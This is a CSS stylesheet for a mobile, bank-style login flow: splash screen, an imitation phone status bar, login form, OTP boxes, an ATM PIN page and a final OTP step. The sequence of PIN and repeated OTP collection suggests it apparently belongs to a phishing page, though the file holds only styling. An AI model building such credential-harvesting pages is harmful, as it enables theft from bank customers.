* {
  margin: 0;
  padding: 0;
  box-sizing: border-box;
}

img {
  max-width: 100%;
  height: auto;
  display: block;
}

button, a {
  -webkit-tap-highlight-color: transparent;
  touch-action: manipulation;
}

html {
  overflow-x: hidden;
  max-width: 100vw;
  -webkit-text-size-adjust: 100%;
  -ms-text-size-adjust: 100%;
}

body {
  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Helvetica", "Arial", sans-serif;
  background: linear-gradient(180deg, #a8215b 0%, #a8215b 180px, #f5f1ed 180px, #f5f1ed 100%);
  min-height: 100vh;
  position: relative;
  padding-bottom: 40px;
  overflow-x: hidden;
  max-width: 100vw;
  -webkit-text-size-adjust: 100%;
  -ms-text-size-adjust: 100%;
  touch-action: pan-y;
}

/* Splash Screen */
.splash-screen {
  position: fixed;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  background: white;
  display: flex;
  align-items: center;
  justify-content: center;
  z-index: 9999;
  transition: opacity 0.5s ease-out, visibility 0.5s ease-out;
}

.splash-screen.hidden {
  opacity: 0;
  visibility: hidden;
}

.splash-logo {
  max-width: 80%;
  max-height: 60%;
  width: auto;
  height: auto;
  object-fit: contain;
}

/* Mobile optimization for splash screen */
@media (max-width: 768px) {
  .splash-logo {
    max-width: 90%;
    max-height: 50%;
  }
}

@media (max-width: 480px) {
  .splash-logo {
    max-width: 85%;
    max-height: 45%;
  }
}

/* Status Bar */
.status-bar {
  display: flex;
  justify-content: space-between;
  align-items: center;
  padding: 8px 20px;
  color: white;
  font-size: 15px;
  font-weight: 600;
}

.time {
  background: #2ecc71;
  padding: 4px 16px;
  border-radius: 20px;
  font-size: 14px;
  font-weight: 600;
}

.status-icons {
  display: flex;
  align-items: center;
  gap: 8px;
}

.signal-dot {
  width: 4px;
  height: 4px;
  background: white;
  border-radius: 50%;
}

.wifi-icon {
  width: 18px;
  height: 18px;
}

.battery {
  border: 2px solid white;
  border-radius: 6px;
  padding: 2px 8px;
  font-size: 13px;
  font-weight: 600;
}

/* Header */
.header {
  display: flex;
  align-items: center;
  padding: 50px 20px 15px 20px;
  color: white;
  position: relative;
}

.close-btn {
  background: none;
  border: none;
  cursor: pointer;
  padding: 0;
  width: 28px;
  height: 28px;
  display: flex;
  align-items: center;
  justify-content: center;
  margin-right: 15px;
}

.close-btn svg {
  width: 28px;
  height: 28px;
}

.header h1 {
  font-size: 22px;
  font-weight: 500;
}

/* Container */
.container {
  padding: 0 0 20px 0;
  overflow-x: hidden;
  max-width: 100vw;
  width: 100%;
  position: relative;
}

/* Card */
.card {
  background: white;
  border-radius: 30px 30px 0 0;
  padding: 40px 0;
  min-height: 100vh;
  overflow-x: hidden;
  max-width: 100%;
}

/* Step Indicator */
.step-indicator {
  text-align: center;
  margin-bottom: 35px;
}

.step-text {
  font-size: 15px;
  font-weight: 600;
  letter-spacing: 0.5px;
  color: #1a1a1a;
  margin-bottom: 15px;
}

.progress-dots {
  display: flex;
  justify-content: center;
  gap: 12px;
}

.dot {
  width: 35px;
  height: 5px;
  border-radius: 3px;
  background: #d4d4d4;
}

.dot.active {
  background: #a8215b;
}

/* Form Section */
.form-section {
  background: white;
  border-radius: 20px;
  border: 2px solid #bebebe;
  padding: 0 25px 30px 25px;
  margin: 0 20px;
  box-shadow: 0 2px 10px rgba(0, 0, 0, 0.05);
  overflow-x: hidden;
  max-width: 100%;
  box-sizing: border-box;
}

/* Added light gray header section styling */
.form-header {
  background: #f5f1ed;
  margin: 0 -25px 25px -25px;
  padding: 10px 25px 10px 25px;
  border-radius: 20px 20px 0 0;
}

.form-header-title {
  font-size: 18px;
  font-weight: 600;
  color: #1a1a1a;
  margin: 0;
}

/* Form Group */
.form-group {
  margin-bottom: 25px;
}

.form-input {
  width: 100%;
  padding: 18px 20px;
  border: 2px solid #bebebe;
  border-radius: 12px;
  font-size: 16px;
  color: #1a1a1a;
  background: white;
  transition: border-color 0.3s;
  outline: none;
  box-sizing: border-box;
  -webkit-appearance: none;
  -moz-appearance: none;
  appearance: none;
}

.form-input::placeholder {
  color: #757575;
}

.form-input:focus {
  border-color: #a8215b;
}

.forgot-link {
  display: block;
  text-align: right;
  color: #a8215b;
  font-size: 14px;
  text-decoration: none;
  margin-top: 10px;
  font-style: italic;
}

/* OTP Page specific styles */
.form-section #resendOtpLink {
  text-align: center;
  margin: 15px auto 0;
  display: block;
}

.form-section #verifyOtpBtn {
  width: auto;
  min-width: 200px;
  padding: 14px 40px;
  margin: 25px auto 0;
  display: block;
}

/* ATM Pin Page - Verify Pin button */
.form-section #verifyPinBtn {
  width: auto;
  min-width: 200px;
  padding: 14px 40px;
  margin: 25px auto 0;
  display: block;
}

/* Final OTP Page - Complete Login button */
.form-section #finalVerifyBtn {
  width: auto;
  min-width: 200px;
  padding: 14px 40px;
  margin: 25px auto 0;
  display: block;
}

/* Login Page - Verify button */
.form-section #loginBtn {
  width: auto;
  min-width: 200px;
  padding: 14px 40px;
  margin: 25px auto 0;
  display: block;
}

/* Home Page - Submit button */
.home-form-body #submitBtn {
  width: auto;
  min-width: 200px;
  padding: 14px 40px;
  margin: 25px auto 0;
  display: block;
}

.forgot-link:hover {
  text-decoration: underline;
}

.forgot-link.disabled {
  color: #bebebe;
  cursor: not-allowed;
  pointer-events: none;
}

/* OTP Message */
.otp-message {
  background: #e8f5e9;
  border: 1px solid #4caf50;
  border-radius: 8px;
  padding: 12px 15px;
  margin: 0 0 20px 0;
  text-align: center;
}

/* OTP Expired Message */
.otp-expired-message {
  background: #ffebee;
  border: 1px solid #f44336;
  border-radius: 8px;
  padding: 12px 15px;
  margin: 0 0 20px 0;
  text-align: center;
}

.otp-expired-message p {
  color: #c62828;
  font-size: 14px;
  margin: 0;
  font-weight: 500;
  line-height: 1.5;
}

.otp-message p {
  color: #2e7d32;
  font-size: 14px;
  margin: 0;
  font-weight: 500;
  line-height: 1.5;
}

/* Back Button */
.back-button-container {
  text-align: center;
  margin: 20px 0;
}

.back-btn {
  background: #a8215b;
  color: white;
  border: none;
  border-radius: 50px;
  padding: 12px 30px;
  font-size: 16px;
  font-weight: 600;
  cursor: pointer;
  transition: background 0.3s;
}

.back-btn:hover {
  background: #8f1b4d;
}

.back-btn:active {
  background: #7a1741;
}

/* Password Wrapper */
.password-wrapper {
  position: relative;
}

.show-password {
  position: absolute;
  right: 15px;
  top: 50%;
  transform: translateY(-50%);
  background: none;
  border: none;
  display: flex;
  align-items: center;
  gap: 6px;
  color: #757575;
  cursor: pointer;
  font-size: 15px;
}

.eye-icon {
  width: 20px;
  height: 20px;
}

.show-text {
  font-size: 15px;
}

/* Login Button */
.login-btn {
  width: 100%;
  padding: 18px;
  background: #a8215b;
  color: white;
  border: none;
  border-radius: 50px;
  font-size: 18px;
  font-weight: 600;
  cursor: pointer;
  margin-top: 30px;
  transition: background 0.3s;
}

.login-btn:hover {
  background: #8f1b4d;
}

.login-btn:active {
  background: #7a1741;
}

/* OTP Container */
.otp-container {
  display: flex;
  justify-content: space-between;
  gap: 10px;
  margin-bottom: 10px;
}

.otp-box {
  width: calc((100% - 50px) / 6);
  aspect-ratio: 1;
  padding: 0;
  border: 2px solid #bebebe;
  border-radius: 12px;
  font-size: 24px;
  font-weight: 600;
  color: #1a1a1a;
  background: white;
  text-align: center;
  transition: border-color 0.3s;
  outline: none;
  box-sizing: border-box;
  -webkit-appearance: none;
  -moz-appearance: none;
  appearance: none;
  touch-action: manipulation;
}

.otp-box:focus {
  border-color: #a8215b;
}

/* Home Indicator */
.home-indicator {
  position: fixed;
  bottom: 8px;
  left: 50%;
  transform: translateX(-50%);
  width: 200px;
  height: 5px;
  background: #1a1a1a;
  border-radius: 3px;
}

/* Responsive adjustments - Tablet */
@media (max-width: 768px) {
  .header {
    padding: 40px 15px 12px 15px;
  }

  .header h1 {
    font-size: 20px;
  }

  .form-section {
    padding: 0 20px 25px 20px;
    margin: 0 15px;
  }

  .form-header-title {
    font-size: 17px;
  }

  .form-input {
    padding: 16px 18px;
    font-size: 15px;
  }

  .step-text {
    font-size: 14px;
  }

  .progress-dots {
    gap: 10px;
  }

  .dot {
    width: 30px;
    height: 4px;
  }

  .login-btn {
    padding: 16px;
    font-size: 17px;
  }

  .otp-container {
    gap: 8px;
  }

  .otp-box {
    width: calc((100% - 40px) / 6);
    font-size: 22px;
  }

  .forgot-link {
    font-size: 13px;
  }
}

/* Responsive adjustments - Mobile */
@media (max-width: 480px) {
  body {
    padding-bottom: 30px;
  }

  .header {
    padding: 30px 10px 8px 10px;
  }

  .header h1 {
    font-size: 16px;
    line-height: 1.3;
  }

  .card {
    padding: 25px 0;
    border-radius: 20px 20px 0 0;
  }

  .form-section {
    padding: 0 15px 18px 15px;
    margin: 0 10px;
    border-radius: 12px;
    border-width: 1.5px;
  }

  .form-header {
    margin: 0 -15px 18px -15px;
    padding: 10px 15px;
    border-radius: 12px 12px 0 0;
  }

  .form-header-title {
    font-size: 15px;
  }

  .form-group {
    margin-bottom: 18px;
  }

  .form-input {
    padding: 14px 15px;
    font-size: 15px;
    border-radius: 10px;
    border-width: 1.5px;
    min-height: 48px;
  }

  .form-input::placeholder {
    font-size: 14px;
  }

  .step-indicator {
    margin-bottom: 20px;
  }

  .step-text {
    font-size: 12px;
    margin-bottom: 10px;
  }

  .progress-dots {
    gap: 6px;
  }

  .dot {
    width: 22px;
    height: 3px;
  }

  .login-btn {
    padding: 14px 20px;
    font-size: 16px;
    margin-top: 20px;
    border-radius: 40px;
    min-height: 48px;
  }

  .forgot-link {
    font-size: 12px;
    margin-top: 6px;
  }

  .password-wrapper {
    position: relative;
  }

  .show-password {
    right: 10px;
    font-size: 13px;
    padding: 5px;
  }

  .eye-icon {
    width: 16px;
    height: 16px;
  }

  .show-text {
    font-size: 13px;
  }

  .password-wrapper {
    position: relative;
  }

  .show-password {
    right: 12px;
    font-size: 14px;
  }

  .eye-icon {
    width: 18px;
    height: 18px;
  }

  .show-text {
    font-size: 14px;
  }

  /* OTP Boxes */
  .otp-container {
    gap: 5px;
    margin-bottom: 8px;
  }

  .otp-box {
    width: calc((100% - 25px) / 6);
    font-size: 18px;
    border-radius: 8px;
    min-height: 45px;
    border-width: 1.5px;
  }

  /* Messages */
  .otp-message {
    padding: 10px 12px;
    margin-bottom: 12px;
    border-radius: 6px;
  }

  .otp-message p {
    font-size: 12px;
    line-height: 1.4;
  }

  .otp-expired-message {
    padding: 10px 12px;
    margin-bottom: 12px;
    border-radius: 6px;
  }

  .otp-expired-message p {
    font-size: 12px;
    line-height: 1.4;
  }

  /* Buttons */
  .form-section #verifyOtpBtn,
  .form-section #verifyPinBtn,
  .form-section #finalVerifyBtn,
  .form-section #loginBtn {
    min-width: 160px;
    padding: 12px 30px;
    font-size: 15px;
    min-height: 48px;
  }

  .home-form-body #submitBtn {
    min-width: 160px;
    padding: 12px 30px;
    font-size: 15px;
    min-height: 48px;
  }

  .back-btn {
    padding: 10px 20px;
    font-size: 14px;
    min-height: 44px;
  }

  .back-button-container {
    margin: 12px 0;
  }
}

/* Responsive adjustments - Small Mobile */
@media (max-width: 380px) {
  .header {
    padding: 25px 8px 6px 8px;
  }

  .header h1 {
    font-size: 15px;
    line-height: 1.2;
  }

  .card {
    padding: 20px 0;
    border-radius: 18px 18px 0 0;
  }

  .form-section {
    padding: 0 12px 15px 12px;
    margin: 0 8px;
    border-radius: 10px;
  }

  .form-header {
    margin: 0 -12px 15px -12px;
    padding: 8px 12px;
    border-radius: 10px 10px 0 0;
  }

  .form-header-title {
    font-size: 14px;
  }

  .form-input {
    padding: 12px 12px;
    font-size: 14px;
    min-height: 44px;
  }

  .form-input::placeholder {
    font-size: 13px;
  }

  .step-text {
    font-size: 11px;
  }

  .progress-dots {
    gap: 5px;
  }

  .dot {
    width: 20px;
    height: 3px;
  }

  .login-btn {
    padding: 12px 18px;
    font-size: 14px;
    min-height: 44px;
  }

  .otp-container {
    gap: 4px;
  }

  .otp-box {
    width: calc((100% - 20px) / 6);
    font-size: 16px;
    min-height: 42px;
  }

  .forgot-link {
    font-size: 11px;
  }

  .form-section #verifyOtpBtn,
  .form-section #verifyPinBtn,
  .form-section #finalVerifyBtn,
  .form-section #loginBtn {
    min-width: 140px;
    padding: 10px 25px;
    font-size: 14px;
    min-height: 44px;
  }

  .home-form-body #submitBtn {
    min-width: 140px;
    padding: 10px 25px;
    font-size: 14px;
    min-height: 44px;
  }

  .back-btn {
    padding: 8px 18px;
    font-size: 13px;
    min-height: 40px;
  }

  .otp-message,
  .otp-expired-message {
    padding: 8px 10px;
    font-size: 11px;
  }
}
